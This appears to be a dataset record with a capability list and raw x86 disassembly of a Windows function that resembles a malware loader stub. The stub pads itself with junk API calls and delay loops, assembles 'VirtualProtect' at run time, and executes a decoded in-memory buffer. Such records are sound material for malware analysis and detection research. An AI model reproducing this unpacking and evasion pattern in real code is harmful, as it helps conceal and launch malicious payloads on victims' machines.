Function at 0x4011bf
Capabilities:
Access the windows event log
Create process on windows
Get disk information
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x870
mov eax, dword [0x409420]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x56d738
call dword [sym.imp.KERNEL32.dll_lstrlenW]
xor ebx, ebx
mov edi, 0x409f40
cmp eax, 0x28324
jne 0x4012a8
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 0x1c279
jne 0x4012a8
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x401209
sub eax, edx
cmp eax, 0xc5bdc
jne 0x4012a8
push ebx
push str.Saju_zarivo_towuni_cata_ve
call dword [sym.imp.KERNEL32.dll_WinExec]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_LoadModule]
push ebx
push ebx
call dword [sym.imp.ole32.dll_CoMarshalHresult]
push ebx
push ebx
call dword [sym.imp.ole32.dll_CoUnmarshalHresult]
push ebx
lea eax, [ebp - 0x804]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push str.Gavuwalatobiya_ni
call dword [sym.imp.KERNEL32.dll_CreateFileW]
lea ecx, [ebp - 0x814]
mov dword [ebp - 0x814], ebx
mov dword [ebp - 0x810], ebx
mov dword [ebp - 0x80c], ebx
call fcn.00401698
push 0x862a
push 0xd50f
call fcn.00401a6b
pop ecx
pop ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_ReportEventA]
lea ecx, [ebp - 0x814]
call fcn.004016b4
xor esi, esi
cmp esi, 0x2f9
jge 0x4012c1
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_GrayStringA]
lea eax, [ebp - 0x858]
push eax
lea eax, [ebp - 0x850]
push eax
lea eax, [ebp - 0x854]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAdjustment]
cmp esi, 0x197
jge 0x4012f2
push str.yesajixerobugijori_zu_nejofe_haxigeputaziwotemeruwopo_sisabafujewecedujemu
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_AppendMenuA]
lea eax, [ebp - 0x80c]
push eax
call dword [sym.imp.USER32.dll_GetCaretPos]
cmp esi, 0x186
jge 0x40131b
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
push ebx
push str.guki
push ebx
call dword [sym.imp.USER32.dll_SetPropA]
lea eax, [ebp - 0x848]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileType]
cmp esi, 0x587
jge 0x401345
lea eax, [ebp - 0x870]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
cmp esi, 0x6dc
jle 0x401371
cmp dword [ebp - 0x854], 0x226f941
je 0x401371
cmp dword [ebp - 0x80c], 0x5d3667a9
je 0x401371
cmp dword [ebp - 0x828], 0x64e861b5
jne 0x401380
inc esi
cmp esi, 0xe3df7
jl 0x4012aa
jmp 0x40139d
push ebx
call dword [sym.imp.USER32.dll_GetQueueStatus]
push ebx
lea eax, [ebp - 0x250]
push eax
push ebx
call dword [sym.imp.GDI32.dll_GetLogColorSpaceW]
push ebx
call dword [sym.imp.USER32.dll_SwitchDesktop]
xor esi, esi
cmp esi, 0x13c
jge 0x4013cc
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ole32.dll_OleMetafilePictFromIconAndLabel]
lea eax, [ebp - 0x80c]
push eax
push ebx
push str.Ji_zuguvuxekitosapihoteju_xoganu
push ebx
call dword [sym.imp.GDI32.dll_GetTextExtentPointA]
push ebx
call dword [sym.imp.USER32.dll_GetDC]
cmp esi, 0xd464
jne 0x4013de
mov eax, dword [0x409410]
mov dword [0x572404], eax
cmp esi, 0x145
jge 0x4013ee
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointA]
inc esi
cmp esi, 0x13071
jl 0x40139f
xor esi, esi
cmp esi, 0x3f
jge 0x401410
push ebx
call dword [sym.imp.USER32.dll_ReplyMessage]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.GDI32.dll_Ellipse]
cmp esi, 0x10f4a
jne 0x401422
add dword [0x572404], 0xbeca0
cmp esi, 0x271
jge 0x40143b
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_SetClassLongW]
push ebx
push ebx
call dword [sym.imp.GDI32.dll_GetTextMetricsA]
inc esi
cmp esi, 0x1793e
jl 0x4013f9
xor esi, esi
cmp esi, 0x26ed
jge 0x401465
push ebx
call dword [sym.imp.KERNEL32.dll_SetEvent]
push ebx
lea eax, [ebp - 0x814]
push eax
push ebx
push ebx
call dword [sym.imp.USER32.dll_DrawCaption]
cmp esi, 0x48fc5d
jne 0x40147f
push dword [0x572404]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x40bffc], eax
inc esi
cmp esi, 0x947192
jl 0x401446
mov eax, dword [0x409404]
xor esi, esi
mov dword [0x572408], eax
cmp dword [0x572404], ebx
jbe 0x4014fb
cmp esi, 0xad6
jge 0x4014ce
lea eax, [ebp - 0x814]
push eax
call dword [sym.imp.GDI32.dll_CreateRectRgnIndirect]
push ebx
call dword [sym.imp.KERNEL32.dll_GetTapeStatus]
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
push ebx
call dword [sym.imp.USER32.dll_CloseWindow]
push ebx
push ebx
call dword [sym.imp.USER32.dll_SetWindowsHookA]
mov eax, dword [0x572408]
mov al, byte [eax + esi + 0xbeca0]
mov ecx, dword [0x40bffc]
mov byte [ecx + esi], al
cmp esi, 0x622
jge 0x4014f2
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
inc esi
cmp esi, dword [0x572404]
jb 0x40149c
mov dword [ebp - 0x84c], 0xbb
sub dword [ebp - 0x84c], 0x7b
xor esi, esi
cmp esi, 0x22ae
jge 0x40152d
push ebx
push ebx
call dword [sym.imp.GDI32.dll_GetDeviceGammaRamp]
push ebx
lea eax, [ebp - 0x404]
push eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextA]
cmp esi, 0x260d26
jne 0x40158a
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.Virtual
push edi
mov dword [0x56d734], eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.Protect
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push edi
push dword [0x56d734]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x850]
push ecx
push dword [ebp - 0x84c]
mov dword [0x40bff8], eax
push dword [0x572404]
push dword [0x40bffc]
call eax
cmp esi, 0x893
jge 0x4015a9
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetTapePosition]
push str.ganesoduserohoyigapaha_fakosasigeyayaxoyuwomepayufenajo_kusodiragayu_jocujehiyaze_siceripajirunaxokezexa
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
inc esi
cmp esi, 0x276b9f
jl 0x40150e
push section..data
push dword [0x572404]
push dword [0x40bffc]
call fcn.00401131
xor esi, esi
cmp esi, 0x18c1
jge 0x4015dd
push ebx
call dword [sym.imp.ole32.dll_CoInitialize]
cmp esi, 0x3458be
jne 0x4015f6
nop
add dword [0x572404], 0x6328d06a
call dword [0x40bffc]
inc esi
cmp esi, 0x72791a
jl 0x4015ce
mov ecx, dword fs:[0x2c]
mov eax, dword [0x57240c]
mov eax, dword [ecx + eax*4]
push str.dijeyipisaricinikehituloliyiyi_gomedehohopahiriduhokere_xalapeba
push ebx
mov dword [eax + 4], 1
call dword [sym.imp.USER32.dll_LoadCursorA]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.00401a51
leave
ret 0x10